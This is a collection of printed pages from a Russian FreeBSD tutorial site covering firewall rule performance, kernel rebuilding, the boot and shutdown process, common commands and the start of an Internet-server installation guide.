Неподходящий IP-адрес источника для указанного условия быстро вызывает пропуск этого правила. Как и ранее, последним правилом было allow ip from any to any. Затраты на обработку пакета в первом случае было примерно 2.703 мс/пакет, или примерно 2.7 микросекунд на правило. Таким образом, теоретический предел скорости обработки пакетов с этими правилами равен примерно 370 пакетам в секунду. Предполагая использование ethernet 10Мб/с с размером пакета примерно 1500, мы можем достигнуть только 55.5% использования пропускной способности. В последнем случае на обработку каждого пакета было затрачено примерно 1.172мс, или около 1.2 микросекунд на правило. Теоретический предел обработки будет равен около 853 пакетам в секунду, что почти соответствует скорости 10Мб/с ethernet. Большое количество протестированных правил и природа этих правил не даёт представление о реальной жизни - они были использованы только для генерации информации о времени обработки. Вот несколько наблюдений, которые нужно иметь в виду для построении эффективного набора правил: ●
●
Поместите правило `established' в самое начало списка для обработки основного трафика TCP. Не помещайте перед ним никаких правил allow tcp. Старайтесь помещать часто вызываемые правила как можно раньше, а редко используемые - позже (без изменения политики, конечно). Вы можете выяснить частоту использования правил с помощью вывода статистики командой ipfw -a l.
20. Как можно перенаправить запросы с одной машины на другую? Вы можете перенаправить запрос на FTP (или другой сервис) с помощью пакаджа socket, доступного в дереве портов в категории "sysutils". Просто замените командную строку запуска сервиса на вызов socket, типа: ftp stream tcp nowait nobody /usr/local/bin/socket socket ftp.foo.com ftp
где ftp.foo.com и ftp являются соответственно хостом и портом для перенаправления. 21. Где можно найти средства управления сетевым трафиком? Для FreeBSD существуют два средства управления трафиком: свободно http://www.freebsd.bip.ru/networking.shtml (8 of 10)10.04.2004 17:23:32
Daemon News Russia
распространяемый ALTQ и коммерческий продукт Bandwidth Manager от Emerging Technologies. 22. Почему появляются сообщения /dev/bpf0: device not configured? Для работы программ, использующих Berkeley Packet Filter (bpf) необходимо включение в ядро соответствующего драйвера. Перекомпилируйте ядро, добавив в его конфигурационный файл следующую строку: pseudo-device bpfilter # Berkeley Packet Filter
Затем, после перезапуска системы, вам нужно создать соответствующий файл устройства. Это можно сделать, сменив текущий каталог на /dev и выполнив команду # sh MAKEDEV bpf0 23. Как смонтировать диск Windows-машины в моей локальной сети, как это делает smbmount в Linux? Воспользуйтесь пакетом sharity light из Коллекции Портов. 24. Что значат эти сообщения "icmp-response bandwidth limit 300/200 pps" в моих журнальных файлах? Это ядро сообщает вам, что имела место некоторая активность, приводящая к посылке большего количества ответных пакетов ICMP или сбросов TCP (RST), чем, как предполагается, это следует делать. Ответы ICMP часто генерируются в результате попыток подключения к незанятым портам UDP. Сбросы TCP генерируются в результате попыток подключения к неоткрытым портам TCP. Кроме всяких прочих, такие сообщения могут быть вызваны следующими действиями: ●
●
Лобовая атака типа отказ в обслуживании DoS (в отличие от атак в один пакет, которые используют конкретную брешь в защите). Сканирование портов в попытке осуществить подключение к большому количеству портов (в отличие от проб нескольких известных портов).
Первое число в сообщении указывает вам, какое количество пакетов ядро посылало бы при отсутствии ограничений, а второе число указывает лимит. Вы можете управлять этим ограничением при помощи системной переменной net. inet.icmp.icmplim приводимым ниже способом, где 300 является ограничением на количество посылаемых пакетов в секунду: http://www.freebsd.bip.ru/networking.shtml (9 of 10)10.04.2004 17:23:32
Daemon News Russia
# sysctl -w net.inet.icmp.icmplim=300 Если вы не хотите видеть подобные сообщения в журнальных файлах, но хотите использовать это ограничение в ядре, то можете использовать системную переменную net.inet.icmp.icmplim_output для подавления вывода, как это показано здесь: # sysctl -w net.inet.icmp.icmplim_output=0 И наконец, если вы хотите выключить это ограничение, то можете установить значение системной переменной net.inet.icmp.icmplim (смотрите пример выше) равным 0. Выключение этого лимита не приветствуется по причинам, перечисленным выше. (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/networking.shtml (10 of 10)10.04.2004 17:23:32
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Конфигурирование и перегенерация ядра новости
Зачем это нужно? Этапы процесса перегенерации Создание драйверов устройств Упражнения Вопросы и ответы Зачем это нужно? При инсталляции FreeBSD у вас создалось в системе ядро (файл /kernel), которое вполне работоспособно. Зачем же его переделывать? Дело в том, что это ядро (так называемая GENERIC конфигурация) как раз предназначено для того, чтобы система успешно развернулась на компьютере любой конфигурации из поддерживаемых. В эту конфигурацию встроена поддержка ВСЕХ типов накопителей (HDD и CD) и ВСЕХ сетевых карт, которые на данный момент поддерживаются FreeBSD. Это вполне логично - вы должны иметь возможность поставить свой Unix и дополнительные программы на тот HDD, который имеется у вас и суметь войти в сеть, какой бы сетевой карточкой вы ни пользовались. В то же время, в ядро не включены некоторые полезные модули, которые могут понадобится в дальнейшем, особенно, если вы хотите использовать вашу машину в качестве сервера. (Например - поддержка firewall, PPP-сервера, bpf и т.п.). Таким образом, перегенерировать ядро необходимо для того, чтобы: - убрать все лишнее (драйверы устройств, которых у вас нет); - добавить то, чего не хватает для работы. Первое позволит вам ускорить загрузку (так как система не будет тратить время на поиск и тестирование несуществующих в вашей машине устройств) и сэкономить место в ОЗУ, занимаемое ядром. А без второго вы, скорее всего, не сможете решать свои задачи. Этапы процесса перегенерации В общем виде этот процесс выглядит так: - установить исходные коды ядра (как правило их устанавливают в процессе инсталляции системы); - составить свою конфигурацию ядра (конфигурационный файл); - запустить программу config, которая создаст необходимые файлы *.h и *.c в соответствии с вашей конфигурацией;
http://www.freebsd.bip.ru/kernel.shtml (1 of 5)10.04.2004 17:23:35
Daemon News Russia
- скомпилировать новое ядро с помощью программы make; - установить новое ядро (make install); - перезагрузиться. Теперь рассмотрим эти пункты более подробно. Установка исходных кодов ядра. Прежде всего, посмотрите в директорию /usr/src/sys если она не пустая, то все что вам нужно уже на месте. И вы можете спокойно перейти к следующему пункту. В противном случае, вам надо взять из дистрибутива нужные файлы и установить их. Это легко можно проделать с помощью команды /stand/sysinstall. Более подробно, см. "Инсталляция системы". Составление конфигурационного файла. Перейдите в директорию /usr/src/sys/i386/conf. Здесь имеются два конфигурационных файла GENERIC и LINT. Первый представляет собой конфигурацию того ядра, которое установилось у вас при инсталляции системы. Вы можете посмотреть в нем, что именно может ваше текущее ядро. Второй же файл представляет собой подробное описание всех возможных элементов конфигурационного файла. Если вы попытаетесь построить ядро в конфигурации LINT, оно, скорее всего не будет работать. Вам необходимо составить свой конфигурационный файл. Его название значения не имеет. Можете назвать его, например, myKERNEL. Обычно ему дают то же название, что и доменное имя машины, либо (удобно, если вы заготавливаете несколько ядер для выполнения разных задач) – FIRST (SECOND, THIRD и т.п.). В качестве основы для нового файла вы можете использовать один из уже имеющихся файлов GENERIC или LINT. Если вы возьмете за основу GENERIC, то вам придется убрать оттуда описания всех лишних устройств и дописать необходимые вам options. Если же вы возьмете за основу LINT, то все редактирование будет заключаться в удалении всего ненужного. Это может оказаться весьма и весьма утомительным занятием. Возьмем за основу файл GENERIC. Скопируйте его: cp GENERIC myKERNEL Теперь нужно отредактировать его любым текстовым редактором. Как было сказано выше, основным руководством по составлению новой конфигурации служит файл LINT. Причем, там должны быть описаны самые последние options, которые появились в той версии FreeBSD. Ниже приводится список опций конфигурационного файла. 1) machine (в нашем случае это "i386", т.е. процессор совместимый с Intel 386 ); 2) cpu "I586_CPU" http://www.freebsd.bip.ru/kernel.shtml (2 of 5)10.04.2004 17:23:35
Daemon News Russia
"I386_CPU" - 386-е процессоры; "I486_CPU" - 486-е процессоры, включая AMD-5x86; "I586_CPU" - 586-e процессоры: Pentium, Pentium MMX, AMD-K5, AMD-K6; "I686_CPU" - 686-е процессоры: Pentium Pro, Pentium II; 3) ident myKERNEL (идентификатор, или название ядра). 4) options 5) config 6) controller 7) device 8) pseudo-device Проверить список устройств в вашей системе можно с помощью следующей команды: # dmesg Данная команда показывает системные сообщения, которые вы наверное видели при начальной загрузке системы. Что же нужно, чтобы сделать все правильно? *иметь при себе список всех устройств, установленных в вашем компьютере; *хорошо знать, чего вы хотите от FreeBSD на данной машине;
Подготовка к компиляции После того, как вы закончили редактировать свою конфигурацию, наберите команду /usr/sbin/config myKERNEL Она создаст в директории /usr/src/sys директорию compile/myKERNEL (о чем и сообщит вам в конце своей работы) и поместит туда файлы, необходимые для компиляции ядра. Так же эта команда попросит вас "не забыть" выполнить команду make depend. Выполните команды # cd ../../compile/myKERNEL # make depend Компиляция нового ядра Находясь в директории /usr/src/sys/compile/myKERNEL и наберите команду # make она сделает все что нужно. Учтите, что ядро системы - достаточно сложная программа, поэтому ее компиляция потребует довольно много времени. От 15-20 минут на процессоре Pentium до часа, на 386 процессоре.
http://www.freebsd.bip.ru/kernel.shtml (3 of 5)10.04.2004 17:23:35
Daemon News Russia
Если в процессе компиляции обнаружатся фатальные ошибки, придется пересмотреть свой конфигурационный файл, исправить его и повторить все заново. (Такие случаи бывают не только у новичков, но и у опытных администраторов, так что преждевременно не огорчайтесь). Установка нового ядра После того, как компиляция ядра успешно завершилась, наберите команду # make install она переименует старое ядро в /kernel.old и поместит в корневую директорию ваш новый / kernel. После этого нужно перегрузить компьютер. Если загрузка нового ядра не получилась (такое тоже возможно), вы можете загрузиться со старым ядром. Для этого, в начале загрузки на подсказку Boot: надо быстро сказать kernel.old. Естественно, после этого надо снова вернуться к редактированию вашей конфигурации и повторить все последующие пункты. Только не торопитесь. Если новое ядро опять окажется неработоспособным, вы можете попасть в неприятную ситуацию, так как после очередной инсталляции ядра командой make install получится: kernel.old - предыдущая неработающая версия ядра kernel - новая, но столь же бесполезная. Но даже теперь не отчаивайтесь. У вас должен был остаться в корневой директории файл kernel. GENERIC и вы можете всегда загрузить его (конечно, если вы не удалили его ранее в целях экономии места на диске). Поэтому на подсказку Boot: надо набрать kernel. GENERIC. Для того, чтобы не попасть в вышеописанную ситуацию, после загрузки старого ядра, замените им ваше новое ядро: # cd / # chflags noschg kernel # cp kernel kernel.new # cp kernel.old kernel # chflags schg kernel # reboot После этого можете смело продолжать ваши изыскания по конфигурированию ядра. И напоследок, проверьте наличие файла /boot.config. Если этого файла нет - создайте его: # echo /boot/loader > /boot.config В каталоге /boot должны содержаться файлы: boot0
http://www.freebsd.bip.ru/kernel.shtml (4 of 5)10.04.2004 17:23:35
Daemon News Russia
boot1 boot2 loader Создание драйверов устройств. Если вы добавили в конфигурации ядра устройства (реальные или pseudo-device), возможно потребуется создать для них файлы-устройства в директории /dev. Какие-то общие рекомендации по этому поводу дать трудно, поскольку это зависит от того какие устройства были добавлены в конфигурационный файл. Во всяком случае, если вы знаете какого файла (в /dev) не хватает, его можно создать с помощью программки MAKEDEV, которая лежит в той же /dev. Это даже не программа, а командный файл, в начале которого есть комментарии, в которых более-менее подробно описаны возможные аргументы (имена устройств) для MAKEDEV. Если в ядро включен, например, Sound Blaster 16, но устройства snd0 нет в каталоге /dev (проверить это можно командой ls /dev), нужно создать его: # cd /dev # sh MAKEDEV snd0 Упражнения Упражнения в данной главе, на мой взгляд, задавать бессмысленно, поскольку сам процесс построения нового ядра FreeBSD само по себе очень хорошее упражнение в деле освоения операционной системы. Вопросы и ответы Вопрос Я не могу скомпилировать ядро. Отсутствует _hw_float. Ответ Вы, возможно, удалили npx0 из вашего файла конфигурации ядра, потому что у вас нет сопроцессора. Это неправильно. Даже если у вас нет математического сопроцессора, вы должны включить поддержку npx0 (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/kernel.shtml (5 of 5)10.04.2004 17:23:35
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Начальная загрузка и останов системы новости
Этапы начальной загрузки Командные файлы начальной загрузки Вход в систему и выход из нее; программа login Перезагрузка и останов системы Неисправности в процессе загрузки Вопросы и ответы Этапы начальной загрузки FreeBSD - сложная операционная система, поэтому если Вы хотите, чтобы она работала корректно, выполняйте операции ее запуска и остановки по всем правилам. На этапе начальной загрузки (при запуске) система загружается и начинает выполняться ее ядро, затем запускается ряд инициализационных задач. После этого система готова к обслуживанию пользователей. Начальная загрузка - это период особой уязвимости в жизни системы. Ошибки в конфигурационных файлах, сбои в работе оборудования, повреждения файловых систем могут помешать компьютеру нормально начать работу. Настройка режимов загрузки во многих случаях является одной из первых задач, которую приходится выполнять администратору в новой системе. FreeBSD может загружаться либо в автоматическом, либо в ручном режиме. В автоматическом режиме система загружается самостоятельно, без какого-либо вмешательства извне. В ручном режиме до определенного момента система также загружается автоматически, но перед выполнением основных инициализирующих командных файлов (сценариев) управление передается администратору. В это время система находится в так называемом "однопользовательском режиме". Большинство системных процессов не выполняется, и вход других пользователей в систему невозможен. Процесс начальной загрузки состоит из этапов: загрузка и инициализация ядра; распознавание и конфигурирование устройств; создание системных процессов; выполнение команд администратора (при ручной загрузке); выполнение командных файлов запуска системы; переход в многопользовательский режим. Инициализация ядра Ядро операционной системы само по себе является программой, и первый этап начальной загрузки заключается в считывании этой программы в память для последующего выполнения. Конфигурация аппаратных средств http://www.freebsd.bip.ru/sysstart.shtml (1 of 8)10.04.2004 17:23:38
Daemon News Russia
Одна из первых задач, стоящих перед ядром, – выявление компонентов аппаратного обеспечения. Создавая ядро для своей системы, Вы можете задать, какие устройства оно должно проверять. Когда ядро начинает выполняться, оно пытается найти и инициализировать все устройства, о которых Вы ему сообщили. О каждом обнаруженном устройстве ядро выводит на консоль краткую информацию. Системные процессы После завершения базовой инициализации ядро создает в области памяти, выделенной для процедур пользователя, несколько процессов. swapper - процесс 0; init - процесс 1; pagedaemon - процесс 2. Из всех процессов только init является полноценным пользовательским процессом; остальные фактически представляют собой части ядра операционной системы, которые выглядят как процессы. Если систему нужно запустить в однопользовательском режиме, администратор на запрос boot: в командной строке вводит -s, а ядро передает информацию процессу init. При загрузке в однопользовательском режиме init просто запускает на системной консоли интерпретатор команд и ждет, пока он завершит работу (после нажатия Ctrl + D или ввода команды exit), а затем продолжает выполнять процесс запуска. В однопользовательском режиме всегда используется интерпретатор sh. В однопользовательском режиме администратор может выполнять команды почти так же, как и в многопользовательском. Однако автоматически монтируется только раздел диска с корневым каталогом. Другие файловые системы администратор должен смонтировать вручную. Демоны в однопользовательском режиме еще не запущены, поэтому команды, зависящие от некоторых обслуживающих процессов (например, mail), работать не будут. Команда fsck, которая проверяет и восстанавливает поврежденные файловые системы, обычно выполняется в процессе автоматической загрузки. Если система запускается в однопользовательском режиме, команду fsck нужно запустить вручную. Командные файлы начальной загрузки Следующий этап процесса начальной загрузки - выполнение командных файлов запуска. Эти файлы, по сути, представляют собой обычные командные файлы, и для их выполнения процесс init запускает процесс sh. В системе FreeBSD эти файлы хранятся в каталоге /etc, их имена начинаются буквами rc, и они выполняют функции: установка имени компьютера; установка часового пояса; проверка дисков командой fsck (только в автоматическом режиме); монтирование файловых систем; удаление файлов из каталога /tmp; конфигурирование сетевых интерфейсов; запуск процессов-демонов и сетевых служб; включение учета и контроля квот (в данном курсе не рассматривается). Вход в систему и выход из нее; программа login http://www.freebsd.bip.ru/sysstart.shtml (2 of 8)10.04.2004 17:23:38
Daemon News Russia
Во время начальной загрузки запускается демон init. Одна из его задач - породить процесс getty на каждом порту терминала, который определяется в файле /etc/ttys. Процесс getty устанавливает исходные характеристики порта (в частности, скорость передачи и контроль четности) и выводит на экран регистрационное приглашение login:. Последовательность событий при полной регистрации выглядит так: Пользователь вводит регистрационное имя по приглашению login: процесса getty. getty выполняет программу login, используя в качестве аргумента указанное имя. login запрашивает пароль и сверяет имя и пароль с записанными в файле /etc/passwd. login выводит на экран из файла /etc/motd "сообщение дня". login запускает интерпретатор shell, указанный в бюджете пользователя и устанавливает переменную среды TERM. shell выполняет соответствующие файлы запуска (если это Bourne-shell, выполняется файл . profile, если C-shell - .login и .cshrc, если Korn-shell - .profile и .kshrc). shell выводит на экран приглашение и ожидает ввода информации. Когда пользователь выходит из системы (после нажатия Ctrl + D или ввода команды exit), управление возвращается демону init, который пробуждается и порождает новый процесс getty на порту терминала. Перезагрузка и останов системы В отличие от начальной загрузки, которая может быть выполнена одним-единственным способом, останов и перезагрузку можно выполнить несколькими способами: выключить питание; дать команду shutdown; использовать команды halt и reboot; послать процессору init сигнал TERM; уничтожить процесс init. Выключение питания Запомните раз и навсегда - такой способ останова неприемлем!!!. Это может привести не только к потере данных, но и к повреждению системных файлов. Команда shutdown Команда shutdown - самый безопасный способ инициирования останова или перезагрузки системы, либо возврата в однопользовательский режим. Команда halt Команда halt выполняет все основные операции, необходимые для останова системы. Для вызова этой команды можно в командной строке указать shutdown с опцией -h или просто ввести halt. Команда reboot (ее алиас - fastboot) Команда reboot почти идентична команде halt. Различие заключается в том, что машина перезагружается, а не останавливается. Команда reboot эквивалентна команде shutdown -r. Посылка процессу init сигнала 15 (TERM)
http://www.freebsd.bip.ru/sysstart.shtml (3 of 8)10.04.2004 17:23:38
Daemon News Russia
Когда демон init получает сигнал TERM, он обычно уничтожает все пользовательские процессы, демоны, процессы getty и возвращает систему в однопользовательский режим. # sync (эта команда сбросит "все, что нужно" на диск) # kill - 15 1 (демон init всегда имеет pid=1) Уничтожение процесса init # kill -9 1 Результаты уничтожения процесса init вообще говоря непредсказуемы. Процесс init настолько важен для работы системы, что если его уничтожить, то компьютер автоматически перезагрузится (некоторые ядра при этом выдают сообщение kernel panic). Это очень грубый способ перезагрузки. Лучше пользоваться командами shutdown или reboot. Неисправности в процессе загрузки Нормальному протеканию процесса начальной загрузки системы могут препятствовать следующие дефекты и ошибки: неисправности аппаратных средств; дефектные блоки начальной загрузки; повреждения файловых систем; неверная конфигурация ядра; ошибки в сценариях запуска. Неисправности аппаратных средств Если, пытаясь загрузиться, Вы все время получаете сообщение о, допустим, дефекте памяти или другом конкретном сбое, то это верный признак того, что проблема связана с аппаратурой. Дефектные блоки начальной загрузки Как правило, в устройство управления ПЗУ машины встроена информация о том, как выполнять начальную загрузку системы. Если программа начальной загрузки повреждена, то система, скорее всего, не загрузится, даже если диск и сама операционная система целы. В этом случае попробуйте загрузить систему с дистрибутивов, (это могут быть гибкие диски, CDROM) и запустить shell, не выполняя инсталляцию программного обеспечения. Если Вы сможете смонтировать свои файловые системы из этого состояния, то Вам, возможно, понадобится просто реинсталлировать блоки начальной загрузки. Если это невозможно, попробуйте с помощью дистрибутивов продолжить начальную загрузку и смонтировать корневую файловую систему. Если это удастся и система заработает, можно реинсталлировать блоки начальной загрузки обычным способом. Повреждение файловых систем Повреждение файловых систем - это один из самых неприятных отказов, потому что файлы могут быть безвозвратно испорчены (а в некоторых случаях может быть приведен в негодность даже дисковод). Если невозможно прочитать корневой раздел, то ядро не загрузится, и система может повести себя так, как будто неисправность в ней связана с неисправностью аппаратуры. http://www.freebsd.bip.ru/sysstart.shtml (4 of 8)10.04.2004 17:23:38
Daemon News Russia
Если Вы подозреваете, что испорчена файловая система, попробуйте загрузить систему в однопользовательском режиме. Если это сделать невозможно, значит, в системе возникли серьезные проблемы. Может быть, удастся загрузиться с дистрибутива и проверить корневой раздел с помощью fsck. Если некоторые важные файлы пропали, можно восстановить их с дистрибутива. Если система все-таки вошла в однопользовательский режим, то прежде чем приступать к любым дальнейшим действиям, обязательно запустите команду fsck. Сначала проверьте корневой каталог командой fsck и, если обнаружатся какие-либо проблемы, перезагрузите систему. Повторяйте этот процесс до тех пор, пока корневой раздел не будет чист. Потом с помощью все той же команды fsck проверьте остальные файловые системы. Неверная конфигурация ядра Перестраивая и заменяя ядро, Вы каждый раз рискуете тем, что оно однажды перестанет работать, и Вы окажетесь в очень затруднительном положении. Обязательно примите меры по обеспечению возможности загрузки старого ядра на случай неожиданной проблемы. Рекомендуется держать старое ядро системы под рукой даже в повседневной работе (назовите его, скажем, kernel.super.old, и пусть оно лежит себе спокойно рядом с повседневным kernel в корневом каталоге, и ждет "своего часа"). Ошибки в сценариях запуска Ошибки в сценариях являются самыми распространенным препятствием для успешного осуществления процесса начальной загрузки. Такие ошибки устраняются легче всего. Необходимо идентифицировать ошибку и устранить ее так же, как при отладке любого другого сценария shell, но в однопользовательском режиме. Вопрос: Где расположены файлы конфигурации системы? Ответ: Для FreeBSD конфигурационным файлом является /etc/rc.conf. Все параметры указываются здесь, а остальные конфигурационные файлы /etc/rc* просто его используют. Посмотрите файл /etc/rc.conf и измените значения переменных на соответствующие вашей системе. В файле содержатся комментарии, описывающие смысл этих переменных и способ их задания. Файл /etc/rc.local можно использовать для запуска дополнительных локальных служб или для настройки дополнительных параметров. Файл /etc/rc.serial предназначен для инициализации коммуникационных адаптеров (например, установки характеристик работы последовательных портов). Файл /etc/rc.i386 предназначен для настройки специфичных для архитектуры Intel параметров, таких, как эмуляция iBCS2 или характеристик системной консоли ПК. В каталоге, указанном в файле /etc/rc.conf, вы можете создавать свои файлы автозапуска: # Location of local startup files. local_startup=/usr/local/etc/rc.d Каждый файл, оканчивающийся на .sh, будет запущен на выполнение в алфавитном порядке. Это простой и понятный метод для добавления дополнительных служб без редактирования файла /etc/rc.local. Многие порты/пакаджи предполагают, что каталог /usr/local/etc/rc.d
http://www.freebsd.bip.ru/sysstart.shtml (5 of 8)10.04.2004 17:23:38
Daemon News Russia
предназначен для размещения запускаемых при загрузке системы скриптов. Вопрос: Как запретить перезагрузку по клавишам Control-Alt-Delete? Ответ: Если вы используете драйвер консоли syscons (который является стандартным) во FreeBSD 2.2.7-RELEASE и выше, перегенерируйте и установите новое ядро со строчкой options SC_DISABLE_REBOOT в конфигурационном файле. Если же вы используете драйвер консоли PCVT во FreeBSD 2.2.5RELEASE и выше, то укажите следующую строку в конфигурационном файле: options PCVT_CTRL_ALT_DEL Вопрос: Как перечитать содержимое /etc/rc.conf и перестартовать /etc/rc без перезагрузки системы? Ответ: Перейдите в однопользовательский режим, а затем возвратитесь обратно в многопользовательский. На консоли выполните следующее: # shutdown now (Замечание: без -r или -h) # return # exit Нормальному протеканию процесса начальной загрузки системы могут препятствовать следующие дефекты и ошибки: неисправности аппаратных средств; дефектные блоки начальной загрузки; повреждения файловых систем; неверная конфигурация ядра; ошибки в сценариях запуска. Неисправности аппаратных средств Если, пытаясь загрузиться, Вы все время получаете сообщение о, допустим, дефекте памяти или другом конкретном сбое, то это верный признак того, что проблема связана с аппаратурой. Дефектные блоки начальной загрузки Как правило, в устройство управления ПЗУ машины встроена информация о том, как выполнять начальную загрузку системы. Если программа начальной загрузки повреждена, то система, скорее всего, не загрузится, даже если диск и сама операционная система целы. В этом случае попробуйте загрузить систему с дистрибутивов, (это могут быть гибкие диски, CDROM) и запустить shell, не выполняя инсталляцию программного обеспечения. Если Вы сможете смонтировать свои файловые системы из этого состояния, то Вам, возможно, понадобится просто реинсталлировать блоки начальной загрузки. Если это невозможно, попробуйте с помощью дистрибутивов продолжить начальную загрузку и смонтировать корневую файловую систему. Если это удастся и система заработает, можно реинсталлировать блоки начальной загрузки обычным способом. http://www.freebsd.bip.ru/sysstart.shtml (6 of 8)10.04.2004 17:23:38
Daemon News Russia
Повреждение файловых систем Повреждение файловых систем - это один из самых неприятных отказов, потому что файлы могут быть безвозвратно испорчены (а в некоторых случаях может быть приведен в негодность даже дисковод). Если невозможно прочитать корневой раздел, то ядро не загрузится, и система может повести себя так, как будто неисправность в ней связана с неисправностью аппаратуры. Если Вы подозреваете, что испорчена файловая система, попробуйте загрузить систему в однопользовательском режиме. Если это сделать невозможно, значит, в системе возникли серьезные проблемы. Может быть, удастся загрузиться с дистрибутива и проверить корневой раздел с помощью fsck. Если некоторые важные файлы пропали, можно восстановить их с дистрибутива. Если система все-таки вошла в однопользовательский режим, то прежде чем приступать к любым дальнейшим действиям, обязательно запустите команду fsck. Сначала проверьте корневой каталог командой fsck и, если обнаружатся какие-либо проблемы, перезагрузите систему. Повторяйте этот процесс до тех пор, пока корневой раздел не будет чист. Потом с помощью все той же команды fsck проверьте остальные файловые системы. Неверная конфигурация ядра
Перестраивая и заменяя ядро, Вы каждый раз рискуете тем, что оно однажды перестанет работать, и Вы окажетесь в очень затруднительном положении. Обязательно примите меры по обеспечению возможности загрузки старого ядра на случай неожиданной проблемы. Рекомендуется держать старое ядро системы под рукой даже в повседневной работе (назовите его, скажем, kernel.super.old, и пусть оно лежит себе спокойно рядом с повседневным kernel в корневом каталоге, и ждет "своего часа"). Ошибки в сценариях запуска Ошибки в сценариях являются самыми распространенным препятствием для успешного осуществления процесса начальной загрузки. Такие ошибки устраняются легче всего. Необходимо идентифицировать ошибку и устранить ее так же, как при отладке любого другого сценария shell, но в однопользовательском режиме. Вопросы и ответы Вопрос: Где расположены файлы конфигурации системы? Ответ: Для FreeBSD конфигурационным файлом является /etc/rc.conf. Все параметры указываются здесь, а остальные конфигурационные файлы /etc/rc* просто его используют. Посмотрите файл /etc/rc.conf и измените значения переменных на соответствующие вашей системе. В файле содержатся комментарии, описывающие смысл этих переменных и способ их задания. Файл /etc/rc.local можно использовать для запуска дополнительных локальных служб или для настройки дополнительных параметров. Файл /etc/rc.serial предназначен для инициализации коммуникационных адаптеров (например, установки характеристик работы последовательных портов). http://www.freebsd.bip.ru/sysstart.shtml (7 of 8)10.04.2004 17:23:38
Daemon News Russia
Файл /etc/rc.i386 предназначен для настройки специфичных для архитектуры Intel параметров, таких, как эмуляция iBCS2 или характеристик системной консоли ПК. В каталоге, указанном в файле /etc/rc.conf, вы можете создавать свои файлы автозапуска: # Location of local startup files. local_startup=/usr/local/etc/rc.d Каждый файл, оканчивающийся на .sh, будет запущен на выполнение в алфавитном порядке. Это простой и понятный метод для добавления дополнительных служб без редактирования файла /etc/rc.local. Многие порты/пакаджи предполагают, что каталог /usr/local/etc/rc.d предназначен для размещения запускаемых при загрузке системы скриптов. Вопрос: Как запретить перезагрузку по клавишам Control-Alt-Delete? Ответ: Если вы используете драйвер консоли syscons (который является стандартным) во FreeBSD 2.2.7-RELEASE и выше, перегенерируйте и установите новое ядро со строчкой options SC_DISABLE_REBOOT в конфигурационном файле. Если же вы используете драйвер консоли PCVT во FreeBSD 2.2.5RELEASE и выше, то укажите следующую строку в конфигурационном файле: options PCVT_CTRL_ALT_DEL Вопрос: Как перечитать содержимое /etc/rc.conf и перестартовать /etc/rc без перезагрузки системы? Ответ: Перейдите в однопользовательский режим, а затем возвратитесь обратно в многопользовательский. На консоли выполните следующее: # shutdown now (Замечание: без -r или -h) # return # exit
http://www.freebsd.bip.ru/sysstart.shtml (8 of 8)10.04.2004 17:23:38
(c) 2001-2002 Daemon News Russia
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Краткое описание некоторых полезных команд новости
adduser - добавить пользователя в систему addgroup - добавить группу в систему cat - вывод файлов в стандартный вывод chgrp - смена группы, владеющей файлами chmod - изменяет права доступа к файлу chown - изменение принадлежности файла пользователю и группе cp - копирование файлов cron - демон для запуска команд по расписанию dd - преобразование файла во время его копирования df - свободное суммарное пространство на диске echo - выводит строки текста expr - вычислить значение выражения group - файл группы пользователя rmgroup - Удалить группу kill - завершить процесс killall - завершить процессы по имени ln - создает связи между файлами login - начинает сессию в системе ls - выдает содержимое каталогов mkdir - создать директории mv - переместить/переименовать файлы named - сервер доменных имен Internet named.reload - заставляет сервер доменных имен синхронизировать свою базу данных named.restart - остановить и перезапустить сервер имен nice - запустить программу с измененным приоритетом passwd - изменяет пароль пользователя rm - удаляет файлы su - сменить ID пользователя или стать суперпользователем root sudo - выполняет команду как суперпользователь root test - проверяет типы файла и сравнивает значения uname - вывести информацию о системе vipw - редактировать файл паролей w - показывает пользователей в системе, и что они делают who - показывает пользователей, вошедших в систему Некоторые важные файлы... /etc/crontab - таблицы для управления демоном cron /etc/motd - файл, содержащий "сообщение дня" /etc/passwd - файл паролей /etc/services - список Internet сетевых служб /etc/shells - файл, содержащий список доступных shells
http://www.freebsd.bip.ru/com.shtml (1 of 2)10.04.2004 17:23:39
(c) 2001-2002 Daemon News Russia
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Инсталляция FreeBSD в качестве Internet-сервера новости
Много чего написано про инсталляцию Windows от 3.* до NT; немного меньше - про инсталляцию OS/2, а вот детальное описание инсталляции Unix я не встречал. Попробую рассказать, как установить и настроить FreeBSD. Это - мой личный опыт, так что возможны расхождения во мнениях с гуру, а также пробелы, тем более что многие вещи я пишу прямо по горячим следам: сделал, понял - и сразу на всеобщее обозрение. :-) Я работаю в условиях, когда я - единственый администратор на машине, на которой нет никакой особо секретной информации. Вокруг меня нет серьезных хакеров (по крайней мере они себя никак не проявляют). Основная задача - обеспечить почту, в основном по UUCP. Это накладывает некоторый отпечаток на мои воззрения по поводу администрирования. А почему именно FreeBSD? Я наконец проникся уверениями Micro$oft, BSA и прочих серебролюбивых организаций, что нехорошо использовать ворованное ПО - это аморально, преступно, а также невыгодно. Из бесплатных OS мне известны три Unix'а - FreeBSD, Linux и SCO (последний - только для некоммерческого использования), а также Acorn'овская RiscOS. Но RiscOS идет только на RISCпроцессорах ARM, а из Unix'ов я лучше всего знаю FreeBSD. Какую машину мне приготовить для FreeBSD? В отличие от WindowsNT, которая требует Pentium и 16 MB RAM, для работы Internet-сервером вполне достаточно 486SX-33 и 8 MB RAM. Операции с плавающей точкой серверу не нужны, быстродействие определяется не процессором, а пропускной способностью сети, а графическая карта сойдет самая слабая, какая только есть - все равно он будет работать в текстовом режиме. Мышь, кстати, тоже не нужна. Так что, как видите, использовать легальное ПО действительно дешевле, чем цельнотянутое. Обьем диска: ● ● ● ●
Минимальная конфигурация - 50 MB. Дополнительное ПО - около 30 MB. Swap (область подкачки) - в два..пять раз больше оперативной памяти. Данные - неограниченно.
